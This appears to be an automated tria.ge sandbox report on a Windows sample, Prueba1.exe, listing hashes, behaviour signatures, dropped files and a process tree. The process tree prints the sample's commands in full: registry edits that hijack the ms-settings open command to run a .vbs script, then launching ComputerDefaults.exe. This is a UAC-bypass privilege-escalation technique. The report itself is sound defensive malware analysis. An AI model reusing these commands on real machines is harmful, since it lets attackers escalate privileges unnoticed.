Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

25/09/2024, 17:58

240925-wkcztasbrd 8

25/09/2024, 17:55

240925-wheqmasarb 8

Analysis

  • max time kernel
    1563s
  • max time network
    1563s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    25/09/2024, 17:58

General

  • Target

    Prueba1.exe

  • Size

    227KB

  • MD5

    4339cc7cb7c8df84a3a1bbd3cba4cf17

  • SHA1

    b041a7ac27006a3d204726cecef465a34f06a3f3

  • SHA256

    e3ebbde456c0c20d1436661909137cd38ce6be51cf78e7cb0d2944b124bed326

  • SHA512

    3e795d43daa63db9435ab3d03a6800719f25b1f8311188148c5ac51eea1835ca76a6fb10040559271e42de7b3d5e18dda89a572fb975ee60f6a90d1575a85f31

  • SSDEEP

    3072:W+PSS5WcZM55FjBcmnE2V/anyoQI5swjEG6vpRcuKtK41rL2JtjwKk:tPSPX5FWhMwj16xrcKaLWjwKk

Score
6/10

Malware Config

Signatures

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Modifies registry class 22 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 33 IoCs
  • Suspicious use of SendNotifyMessage 33 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Prueba1.exe
    "C:\Users\Admin\AppData\Local\Temp\Prueba1.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2344
    • C:\Windows\system32\cmd.exe
      /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2016
      • C:\Windows\system32\reg.exe
        reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
        3⤵
          PID:2164
      • C:\Windows\system32\cmd.exe
        /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\678949.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2120
        • C:\Windows\system32\reg.exe
          reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\678949.vbs" /f
          3⤵
          • Modifies registry class
          PID:2652
        • C:\Windows\system32\reg.exe
          reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
          3⤵
          • Modifies registry class
          PID:2692
      • C:\Windows\system32\cmd.exe
        /c start /B ComputerDefaults.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2784
        • C:\Windows\system32\ComputerDefaults.exe
          ComputerDefaults.exe
          3⤵
            PID:2860
        • C:\Windows\system32\cmd.exe
          /c del /f C:\Users\Admin\AppData\Local\Temp\678949.vbs
          2⤵
            PID:2700
          • C:\Windows\system32\cmd.exe
            /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2172
            • C:\Windows\system32\reg.exe
              reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
              3⤵
              • Modifies registry class
              PID:2664
          • C:\Windows\system32\cmd.exe
            /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2796
            • C:\Windows\system32\reg.exe
              reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
              3⤵
                PID:1380
            • C:\Windows\system32\cmd.exe
              /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\282419.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2288
              • C:\Windows\system32\reg.exe
                reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\282419.vbs" /f
                3⤵
                • Modifies registry class
                PID:2440
              • C:\Windows\system32\reg.exe
                reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
                3⤵
                • Modifies registry class
                PID:2052
            • C:\Windows\system32\cmd.exe
              /c start /B ComputerDefaults.exe
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1600
              • C:\Windows\system32\ComputerDefaults.exe
                ComputerDefaults.exe
                3⤵
                  PID:2436
              • C:\Windows\system32\cmd.exe
                /c del /f C:\Users\Admin\AppData\Local\Temp\282419.vbs
                2⤵
                  PID:548
                • C:\Windows\system32\cmd.exe
                  /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1808
                  • C:\Windows\system32\reg.exe
                    reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
                    3⤵
                    • Modifies registry class
                    PID:1416
              • C:\Windows\system32\taskmgr.exe
                "C:\Windows\system32\taskmgr.exe" /4
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:2244

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\282419.vbs

                Filesize

                229B

                MD5

                77c4e406f1f79c4f4616aeeb5983cede

                SHA1

                4485a37a9931b17381f48e219d465f09eb44a6be

                SHA256

                ebc11d37c3a3e32200c28cbdaef14c05acb27fd032d6d520b8f242cbe6178b17

                SHA512

                063d4503b431bbc2ad4ac6342d4b86ee7c9006a299bc2f0a71159ec2e180cf84edad7d654b08e0a6a3763eed5bf9a74a2ce948d5c649876ab32ecea378d1de21

              • C:\Users\Admin\AppData\Local\Temp\678949.vbs

                Filesize

                125B

                MD5

                8b4ed5c47fdddbeba260ef11cfca88c6

                SHA1

                868f11f8ed78ebe871f9da182d053f349834b017

                SHA256

                170226b93ac03ac3178c0429577626add00665e1d71be650a4c46674f6e262a5

                SHA512

                87e5bcaa143e616c365557f5af73e131a10eb380016633b8c7e38c83b0a216a8f6768cfa0166fad208d47830808444517e57d07d850ff2bd575ca67bad9eabdf

              • C:\Users\Admin\AppData\Local\Temp\CabF23D.tmp

                Filesize

                70KB

                MD5

                49aebf8cbd62d92ac215b2923fb1b9f5

                SHA1

                1723be06719828dda65ad804298d0431f6aff976

                SHA256

                b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

                SHA512

                bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

              • C:\Users\Admin\AppData\Local\Temp\TarF25F.tmp

                Filesize

                181KB

                MD5

                4ea6026cf93ec6338144661bf1202cd1

                SHA1

                a1dec9044f750ad887935a01430bf49322fbdcb7

                SHA256

                8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

                SHA512

                6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

              • memory/2244-3-0x0000000140000000-0x00000001405E8000-memory.dmp

                Filesize

                5.9MB

              • memory/2244-4-0x0000000140000000-0x00000001405E8000-memory.dmp

                Filesize

                5.9MB

              • memory/2344-0-0x0000000000070000-0x0000000000071000-memory.dmp

                Filesize

                4KB

              • memory/2344-1-0x0000000000080000-0x0000000000081000-memory.dmp

                Filesize

                4KB

              • memory/2344-2-0x00000000001C0000-0x00000000001C1000-memory.dmp

                Filesize

                4KB

              • memory/2344-6-0x00000000001E0000-0x00000000001E1000-memory.dmp

                Filesize

                4KB